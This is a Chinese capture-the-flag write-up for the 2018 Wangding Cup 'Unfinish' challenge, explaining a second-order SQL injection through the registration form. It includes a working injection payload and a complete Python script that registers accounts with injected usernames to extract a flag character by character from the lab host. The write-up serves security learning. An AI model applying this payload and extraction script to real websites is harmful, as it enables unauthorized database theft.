• [网鼎杯2018]Unfinish-1|SQL注入|二次注入


    1、进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下:

    2、进行目录扫描,发现了注册界面:register.php,结果如下:

    3、那就访问注册界面,随便注册一个账户进行登录,f返回的界面中显示了注册的账户名,这里就想到了二次注入,结果如下:

    4、进行注入的话那就先判断下被过滤的关键词,在注册时进行抓包,然后使用爆破模块进行测试,发现information和,被过滤了,开始以为'也被过滤了,但1'+2+'1可以注册,应该是语句的问题,而且返回的信息中也没有nononono,结果如下:

    5、到这里想着后端代码应该就是select username from table where username = '传递的参数',这样的结构,经过测试可以通过:1' or password like '%f%测试列明,但是好像flag值所在的表与当前的表不是同一张表,而且也不知道flag值所在表的名称,在网上查看了以下,发现是忙才flag值所在表的表名称为flag,然后通过+运算进行无列明获取flag值,其payload:0'+ascii(substr((select * from flag) from 1 for 1))+'0,成功获取到flag值得第一位asii:102即f,结果如下:

    6、确定payload之后那就需要通过脚本来获取flag值了,脚本信息如下:

    import requests
    import time
    from bs4 import BeautifulSoup
    
    def get_flag():
        flag = ''
        url = 'http://4ecc41d2-2490-46b9-a16a-f384574ca1ca.node4.buuoj.cn:81/'
        register_url = url + 'register.php'
        login_url = url + 'login.php'
        for i in range(1, 100):
            time.sleep(0.5)
            register_data = {"email": "{}@1.com".format(i),
                     "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}
            login_data = {"email": "{}@1.com".format(i), "password": "1"}
            requests.post(register_url, data=register_data)
            response_login = requests.post(login_url, data=login_data)
            bs = BeautifulSoup(response_login.text, 'html.parser') 
            username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
            number = username.text  
            flag += chr(int(number))
            print("\r", end="")
            print(flag,end="")
    
    if __name__ == '__main__':
        get_flag()

     脚本结果如下:



    如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
  • 相关阅读:
    layui框架学习(44:常用元素操作模块)
    nodejs毕业设计源码基于nodejs的拼车网站
    C#的无边框窗体改变大小解决方案 - 开源研究系列文章
    【LeetCode力扣】75 快速排序的子过程partition(荷兰国旗问题)
    【数据结构与算法学习】散列表(Hash Table,哈希表)
    关于spring的xml文件中的xmlns,xsi,schemaLocation
    Redis 实现延迟队列
    【JavaEE初阶】多线程 _ 进阶篇 _ 常见的锁策略、CAS及它的ABA问题
    FPT(Pretrained Transformer) 2022AAAI
    JVM的基础了解
  • 原文地址:https://www.cnblogs.com/upfine/p/16607426.html